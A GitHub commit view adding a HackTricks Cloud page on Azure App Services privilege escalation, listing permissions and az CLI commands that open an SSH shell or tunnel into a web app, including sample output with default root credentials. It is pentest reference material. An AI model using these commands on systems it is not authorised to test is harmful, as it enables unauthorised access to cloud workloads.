-
Notifications
You must be signed in to change notification settings - Fork 255
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
d93110c
commit ee37fbe
Showing
6 changed files
with
196 additions
and
50 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
67 changes: 67 additions & 0 deletions
67
pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
# Az - App Services Privesc | ||
|
||
{% hint style="success" %} | ||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\ | ||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) | ||
|
||
<details> | ||
|
||
<summary>Support HackTricks</summary> | ||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** | ||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. | ||
|
||
</details> | ||
{% endhint %} | ||
|
||
## App Services | ||
|
||
For more information about Azure App services check: | ||
|
||
{% content-ref url="../az-services/az-app-services.md" %} | ||
[az-app-services.md](../az-services/az-app-services.md) | ||
{% endcontent-ref %} | ||
|
||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read,  | ||
|
||
These permissions allows to call the following commands to get a **SSH shell** inside a web app | ||
|
||
* Direct option: | ||
|
||
```bash | ||
# Direct option | ||
az webapp ssh --name <name> --resource-group <res-group> | ||
``` | ||
|
||
* Create tunnel and then connect to SSH: | ||
|
||
{% code overflow="wrap" %} | ||
```bash | ||
az webapp create-remote-connection --name <name> --resource-group <res-group> | ||
|
||
## If successfull you will get a message such as: | ||
#Verifying if app is running.... | ||
#App is running. Trying to establish tunnel connection... | ||
#Opening tunnel on port: 39895 | ||
#SSH is available { username: root, password: Docker! } | ||
|
||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) | ||
ssh root@127.0.0.1 -p 39895 | ||
``` | ||
{% endcode %} | ||
|
||
{% hint style="success" %} | ||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\ | ||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) | ||
|
||
<details> | ||
|
||
<summary>Support HackTricks</summary> | ||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! | ||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** | ||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. | ||
|
||
</details> | ||
{% endhint %} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.